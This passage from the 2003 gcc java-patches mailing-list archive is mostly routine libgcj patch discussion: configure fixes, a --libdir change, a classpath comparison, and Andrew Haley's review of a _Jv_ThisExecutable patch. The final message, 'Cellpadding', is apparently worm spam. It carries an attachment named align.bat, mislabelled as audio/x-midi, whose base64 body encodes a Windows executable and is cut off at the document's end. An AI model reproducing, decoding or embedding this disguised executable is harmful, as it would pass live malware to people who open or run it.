(flag_inline_trees) --- 8006,8011 ---- current_function_decl = decl; ! wrap_synchronized_method (decl); ! /* Save the function for inlining. */ if (flag_inline_trees) From java-patches-return-6593-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 26 04:09:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14983 invoked by alias); 26 Mar 2003 04:09:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14976 invoked from network); 26 Mar 2003 04:09:36 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.122) by sources.redhat.com with SMTP; 26 Mar 2003 04:09:36 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 25 Mar 2003 20:09:35 -0800 Received: from 148.87.1.171 by OE18 with DAV; Wed, 26 Mar 2003 04:09:35 +0000 X-Originating-IP: [148.87.1.171] X-Originating-Email: [rmathew4lists@hotmail.com] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: Cc: References: Subject: Re: Patch for Preview: Cross-Configury Tweaks (Updated) Date: Wed, 26 Mar 2003 09:40:59 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 26 Mar 2003 04:09:35.0814 (UTC) FILETIME=[83261E60:01C2F34D] > >How is this different from ac_cv_exeext? (Just curious - I > >am by no means an authority on any of this stuff!) > > ac_cv_exeext is defined as either ".exe" or "no" (if unset) > as opposed to ac_exeext (".exe" / ""). Yikes! This means that my original patch was incorrect in using ac_cv_exeext! Thanks for pointing this out. > >AFAIK Tom would be the best person to certify the validity > >of these changes. > > I need to do more validation and testing. I just wanted to see > if you found anything blatantly wrong. Thanks for looking at this. Alexandre Olivia seems to be active once again in these lists... He's another person who can validate these changes, AFAICT. Ranjit. From java-patches-return-6594-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 26 22:22:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30714 invoked by alias); 26 Mar 2003 22:22:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30707 invoked from network); 26 Mar 2003 22:22:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 26 Mar 2003 22:22:32 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA31131; Wed, 26 Mar 2003 15:22:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 511704F88ED; Wed, 26 Mar 2003 15:19:24 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: support --libdir install From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: It's OKAY --- I'm an INTELLECTUAL, too. Date: 26 Mar 2003 15:19:24 -0700 Message-ID: <874r5pojo3.fsf@fleche.redhat.com> Lines: 54 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. If you configure with a --libdir that points to some random place, libgcj won't find the .security files properly. I had reason to do this recently. The appended patch fixes the problem. If you don't specify --libdir, you'll still get the correct results with the appended. Tom Index: ChangeLog from Tom Tromey * java/lang/natRuntime.cc (insertSystemProperties): Set gnu.classpath.home.url. * Makefile.in: Rebuilt. * Makefile.am: Define LIBDIR. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.288 diff -u -r1.288 Makefile.am --- Makefile.am 17 Mar 2003 09:18:17 -0000 1.288 +++ Makefile.am 26 Mar 2003 21:11:28 -0000 @@ -97,7 +97,7 @@ ## Detect bugs in the verifier implementation, and maybe other places. -Wswitch-enum \ @LIBGCJ_CXXFLAGS@ @X_CFLAGS@ $(WARNINGS) -D_GNU_SOURCE \ - -DPREFIX="\"$(prefix)\"" + -DPREFIX="\"$(prefix)\"" -DLIBDIR="\"$(libdir)\"" if USING_GCC AM_CFLAGS = @LIBGCJ_CFLAGS@ $(WARNINGS) else Index: java/lang/natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.35 diff -u -r1.35 natRuntime.cc --- java/lang/natRuntime.cc 17 Mar 2003 00:45:37 -0000 1.35 +++ java/lang/natRuntime.cc 26 Mar 2003 21:11:31 -0000 @@ -422,6 +422,12 @@ // redefine `java.home' with `-D' if necessary. SET ("java.home", PREFIX); SET ("gnu.classpath.home", PREFIX); + // This is set to $(libdir) because we use this to find .security + // files at runtime. + char val2[sizeof ("file://") + sizeof (LIBDIR) + 1]; + strcpy (val2, "file://"); + strcat (val2, LIBDIR); + SET ("gnu.classpath.home.url", val2); SET ("file.encoding", default_file_encoding); From java-patches-return-6595-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 27 00:19:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25841 invoked by alias); 27 Mar 2003 00:19:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25802 invoked from network); 27 Mar 2003 00:19:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 27 Mar 2003 00:19:54 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAB18607; Wed, 26 Mar 2003 17:19:53 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B492B4F88ED; Wed, 26 Mar 2003 17:16:47 -0700 (MST) To: GCC libjava patches Cc: Gcc Patch List Subject: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I have no actual hairline... Date: 26 Mar 2003 17:16:47 -0700 Message-ID: <877kalmzo0.fsf@fleche.redhat.com> Lines: 61 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Another automated classpath comparison. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.65 diff -u -r1.65 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 24 Mar 2003 00:56:46 -0000 1.65 +++ libgcj-classpath-compare.html 27 Mar 2003 00:19:23 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-23. +2003-03-26. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -39,8 +39,6 @@ gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No gnu.javax.rmi.PortableServer No Yes No java.awt.Toolkit Yes Yes Diff - java.awt.dnd.DropTarget Yes Yes Diff - java.awt.dnd.DropTargetContext Yes Yes Diff java.io.DataInputStream Yes Yes Diff java.io.DataOutputStream Yes Yes Diff java.io.File Yes Yes Diff @@ -99,9 +97,6 @@ java.nio.LongBuffer Yes Yes Diff java.nio.MappedByteBuffer Yes Yes Diff java.nio.ShortBuffer Yes Yes Diff - java.rmi.activation.ActivationInstantiator Yes Yes Diff - java.rmi.activation.Activator Yes Yes Diff - java.rmi.registry.RegistryHandler Yes Yes Diff java.security.AlgorithmParameterGenerator Yes Yes Diff java.security.AlgorithmParameters Yes Yes Diff java.security.Identity Yes Yes Diff @@ -126,6 +121,7 @@ java.text.Collator Yes Yes Diff java.text.MessageFormat Yes Yes Diff java.text.RuleBasedCollator Yes Yes No + java.util.Date Yes Yes Diff java.util.PropertyPermission Yes Yes Diff java.util.ResourceBundle Yes Yes Diff java.util.logging.ConsoleHandler No Yes No @@ -144,6 +140,8 @@ java.util.logging.SocketHandler No Yes No java.util.logging.StreamHandler No Yes No java.util.logging.XMLFormatter No Yes No + java.util.regex.Pattern Yes Yes Diff + java.util.regex.PatternSyntaxException Yes Yes Diff java.util.zip.Deflater Yes Yes Diff java.util.zip.DeflaterConstants No Yes No java.util.zip.DeflaterEngine No Yes No From java-patches-return-6596-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 27 17:24:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11645 invoked by alias); 27 Mar 2003 17:24:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11637 invoked from network); 27 Mar 2003 17:24:24 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by sources.redhat.com with SMTP; 27 Mar 2003 17:24:24 -0000 Received: from masala.cambridge.redhat.com (masala.cambridge.redhat.com [172.16.18.66]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 896F2ABAF8; Thu, 27 Mar 2003 17:24:23 +0000 (GMT) Received: from masala.cambridge.redhat.com (localhost.localdomain [127.0.0.1]) by masala.cambridge.redhat.com (8.12.8/8.12.8) with ESMTP id h2RHONlS003178; Thu, 27 Mar 2003 17:24:23 GMT Received: (from aph@localhost) by masala.cambridge.redhat.com (8.12.8/8.12.8/Submit) id h2RHOMP3003174; Thu, 27 Mar 2003 17:24:22 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16003.13253.620256.16088@masala.cambridge.redhat.com> Date: Thu, 27 Mar 2003 17:24:21 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) In-Reply-To: <4243KE31RMIDTNICA721WSIGVSEA7363.3e5ed0ca@p733> References: <83PN1Z71SOLKLFSOTOVTHDC0UOPOKE96.3e5cd7b6@p733> <4243KE31RMIDTNICA721WSIGVSEA7363.3e5ed0ca@p733> Mohan Embar writes: > Hi Patch People, > > Here is a new cut at the _Jv_ThisExecutable() patch, based on this > post: > > http://gcc.gnu.org/ml/java/2003-02/msg00517.html > > Index: java/lang/natRuntime.cc > =================================================================== > RCS file: /cvsroot/gcc/gcc/libjava/java/lang/natRuntime.cc,v > retrieving revision 1.29.2.3 > diff -u -2 -r1.29.2.3 natRuntime.cc > --- java/lang/natRuntime.cc 19 Feb 2003 16:18:03 -0000 1.29.2.3 > +++ java/lang/natRuntime.cc 27 Feb 2003 15:11:54 -0000 > @@ -129,4 +129,8 @@ > > > > +extern int _Jv_argc; > +extern const char **_Jv_argv; > + // our process' command line arguments > + > void > java::lang::Runtime::exitInternal (jint status) > @@ -608,5 +612,5 @@ > > // The name used to invoke this process (argv[0] in C). > - SET ("gnu.gcj.progname", _Jv_ThisExecutable()); > + SET ("gnu.gcj.progname", _Jv_argv[0]); > > // Allow platform specific settings and overrides. This breaks JvCreateJavaVM, because _Jv_argv isn't necessarily set. Please check _Jv_argv != NULL before doing this. BTW, is there any reason > +extern int _Jv_argc; > +extern const char **_Jv_argv; isn't in some header file? Thanks, Andrew. From java-patches-return-6597-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 27 18:05:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1632 invoked by alias); 27 Mar 2003 18:05:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1582 invoked from network); 27 Mar 2003 18:05:20 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 27 Mar 2003 18:05:20 -0000 Received: from p733 (adsl-68-74-196-213.dsl.milwwi.ameritech.net [68.74.196.213]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2RI5DQ06432; Thu, 27 Mar 2003 12:05:13 -0600 From: Mohan Embar To: Andrew Haley Cc: java-patches@gcc.gnu.org Date: Thu, 27 Mar 2003 12:04:59 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <16003.13253.620256.16088@masala.cambridge.redhat.com> Message-Id: <83VRTPYX543YRXVB7ROCB8376URZW54.3e833d4b@p733> Subject: Re: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Andrew, >This breaks JvCreateJavaVM, because _Jv_argv isn't necessarily set. >Please check _Jv_argv != NULL before doing this. Sorry about this. I'll redo the patch and resubmit it ASAP. I'll need to retest the various build combinations so I'll shoot for submitting this sometime tomorrow at the latest. >BTW, is there any reason > > > +extern int _Jv_argc; > > +extern const char **_Jv_argv; > >isn't in some header file? You're right about this too. I'll do this in the patch I resubmit. Sorry again for the inconvenience. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6598-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 27 18:09:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3679 invoked by alias); 27 Mar 2003 18:09:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3672 invoked from network); 27 Mar 2003 18:09:12 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by sources.redhat.com with SMTP; 27 Mar 2003 18:09:12 -0000 Received: from masala.cambridge.redhat.com (masala.cambridge.redhat.com [172.16.18.66]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 418E5ABAF8; Thu, 27 Mar 2003 18:09:12 +0000 (GMT) Received: from masala.cambridge.redhat.com (localhost.localdomain [127.0.0.1]) by masala.cambridge.redhat.com (8.12.8/8.12.8) with ESMTP id h2RI9BlS003243; Thu, 27 Mar 2003 18:09:11 GMT Received: (from aph@localhost) by masala.cambridge.redhat.com (8.12.8/8.12.8/Submit) id h2RI9BSw003239; Thu, 27 Mar 2003 18:09:11 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16003.15943.883381.881199@masala.cambridge.redhat.com> Date: Thu, 27 Mar 2003 18:09:11 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) In-Reply-To: <83VRTPYX543YRXVB7ROCB8376URZW54.3e833d4b@p733> References: <16003.13253.620256.16088@masala.cambridge.redhat.com> <83VRTPYX543YRXVB7ROCB8376URZW54.3e833d4b@p733> Mohan Embar writes: > > >This breaks JvCreateJavaVM, because _Jv_argv isn't necessarily set. > >Please check _Jv_argv != NULL before doing this. > > Sorry about this. I'll redo the patch and resubmit it ASAP. I'll need to retest > the various build combinations so I'll shoot for submitting this sometime tomorrow > at the latest. > > >BTW, is there any reason > > > > > +extern int _Jv_argc; > > > +extern const char **_Jv_argv; > > > >isn't in some header file? > > You're right about this too. I'll do this in the patch I resubmit. > > Sorry again for the inconvenience. No problem. If you contribute patches, you sometimes contribute bugs. We are imperfect beings. The real problem here is that none of our regression tests caught this. Andrew. From java-patches-return-6599-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 27 18:15:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6018 invoked by alias); 27 Mar 2003 18:15:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6007 invoked from network); 27 Mar 2003 18:15:20 -0000 Received: from unknown (HELO relay-5m.club-internet.fr) (194.158.104.44) by sources.redhat.com with SMTP; 27 Mar 2003 18:15:20 -0000 Received: from Wwllei (liifi-9-29.n.club-internet.fr [213.44.40.29]) by relay-5m.club-internet.fr (Postfix) with SMTP id 360AAE3A6 for ; Thu, 27 Mar 2003 19:14:54 +0100 (CET) From: gnu To: java-patches@gcc.gnu.org Subject: Cellpadding MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=HSAi2F0Uq1y666K6K23073d4ZF9 Message-Id: <20030327181454.360AAE3A6@relay-5m.club-internet.fr> Date: Thu, 27 Mar 2003 19:14:54 +0100 (CET) --HSAi2F0Uq1y666K6K23073d4ZF9 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --HSAi2F0Uq1y666K6K23073d4ZF9 Content-Type: audio/x-midi; name=align.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD K0X4mff/hdJ1DsYEMw1DxgQzCkODRfgCD7bBiw0w8EAAigQIiAQzQ4N99AF/BcZEM/89i3Xs g8YDg23wA4l17OmI/v//X4vDXlvJw1WL7IHsEAEAAINl+ACNRfxQagRoUgJBAOjJIgAAWVlQ aAIAAID/FUzQQACFwA+FtwAAAFNWV7uLCUEAUFPo1CIAAFmJRfRZjYXw/v//aAQBAABQ/3X4 